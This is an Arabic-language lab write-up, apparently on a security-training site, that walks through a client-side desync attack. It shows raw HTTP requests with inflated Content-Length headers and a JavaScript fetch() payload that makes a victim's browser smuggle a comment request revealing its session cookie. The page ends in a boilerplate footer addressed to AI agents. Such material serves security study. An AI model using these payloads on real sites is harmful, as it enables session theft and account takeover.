> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/client-side-desync.md).

# اختلال التزامن من جهة العميل

### عدم التزامن على جانب العميل

هذا المختبر عرضة لهجمات عدم التزامن على جانب العميل لأن الخادم يتجاهل ترويسة Content-Length لبعض نقاط النهاية. هذا الضعف يسمح لمتصفح الضحية بالكشف عن ملف تعريف الارتباط الخاص بجلسته. / هدف المختبر:

1. حدّد متجه عدم التزامن على جانب العميل باستخدام Burp، ثم تحقّق من إمكانية إعادة إنتاجه في المتصفح.
2. اعثر على عنصر في التطبيق لحقن النص أو تخزينه.
3. اجمع بين الاثنين لإجبار متصفح الضحية على إرسال سلسلة من الطلبات بين النطاقات تكشف ملف تعريف الارتباط الخاص به.
4. استخدم هذا الملف للدخول إلى حساب الضحية.

#### **تحليل سلوك الخادم**

عند إرسال طلب مع Content-Length متضخم عمدًا، يتجاهله الخادم ويعامل المحتوى التالي على أنه طلب جديد:

```http
POST / HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET /error HTTP/1.1
اختبار: مرحبا
```

يؤكد هذا الرد وجود عدم التزامن على جانب العميل.

<figure><img src="/files/60f2e6d15e80c7d3128104c71a4daecf1f70d687" alt=""><figcaption></figcaption></figure>

#### **إظهار عدم التزامن**

عند إعداد طلبين في Burp (أحدهما يحاكي العميل والآخر الهجوم) وإرسالهما بالتتابع، يتم إرسال استجابة الخطأ الموجهة إلى المهاجم إلى العميل الشرعي.

<figure><img src="/files/821d7545f9decbc96bedd75c2064a38a90148fa4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/74b375156d75391a1468404eead39bcde29aa37b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/77abb7aab5f1e49bea75bf23731d7fba692068a5" alt=""><figcaption></figcaption></figure>

يوضح هذا أن الخادم يسبب عدم تزامن لتدفقات HTTP.

<figure><img src="/files/6c8cbc1ee753e155efa78ef0b8541c25f9359d58" alt=""><figcaption></figcaption></figure>

#### **استخراج ملف تعريف الارتباط الخاص بالضحية**

لإجبار متصفح الضحية على الكشف عن ملف تعريف الارتباط الخاص بجلسته، نستهدف ميزة التعليقات، التي تتيح لك تخزين النص في التطبيق.

<figure><img src="/files/f9469d96358b70178b6836cbd55498b9d5d966f0" alt=""><figcaption></figcaption></figure>

أرسل طلب تعليق مع Content-Length متضخم:

```http
POST /en/post/comment HTTP/1.1
Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&comment=tst&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com
```

```http
csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=1&name=tst&email=tst%40test.com&website=http%3A%2F%2Ftest.com&comment=tst
```

عند زيادة هذا الحقل (مثلًا إلى 500)، يكشف التعليق المنشور عن ملف تعريف الارتباط الخاص بجلسة الحساب المتصل.

<figure><img src="/files/82b4e6e9351bcc11aeba81b595be3cff48d22e4c" alt=""><figcaption></figcaption></figure>

#### **الأتمتة عبر برنامج JavaScript**

لتحويل الهجوم إلى استغلال يمكن للضحية استخدامه، يتم إنشاء طلب مُهرَّب مُغلَّف داخل برنامج نصي:

```javascript
<script>
smuggledRequest = [
    "POST /en/post/comment HTTP/1.1",
    "Host: 0a69005a041eb75c828761ef00630000.h1-web-security-academy.net",
    "Cookie: session=beALzw9m2Bqn8tBscGI4yK0O6TMWbOuz",
    "Content-Type: application/x-www-form-urlencoded",
    "Content-Length: 850",
    "",
    "csrf=5eEtViEnAhAKWZz68JwV8leC2rJYFIAf&postId=4&name=test&email=test@test.com&website=https://test.com&comment=test"
].join('/r/n')

fetch("https://0a69005a041eb75c828761ef00630000.h1-web-security-academy.net", {
    method: "POST",
    body: smuggledRequest,
    credentials: 'include',
    mode: 'no-cors'
});
</script>
```

تؤدي هذه الحمولة إلى إرسال متصفح الضحية للطلب المهرَّب تلقائيًا.

<figure><img src="/files/606e23eb5990dabca8abb7975f6a6980ff277903" alt=""><figcaption></figcaption></figure>

ثم يظهر ملف تعريف الارتباط المسروق للجلسة في قسم التعليقات.

<figure><img src="/files/9c75c674e735eab8e3cc26d4b24e9408198ba6b7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/client-side-desync.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
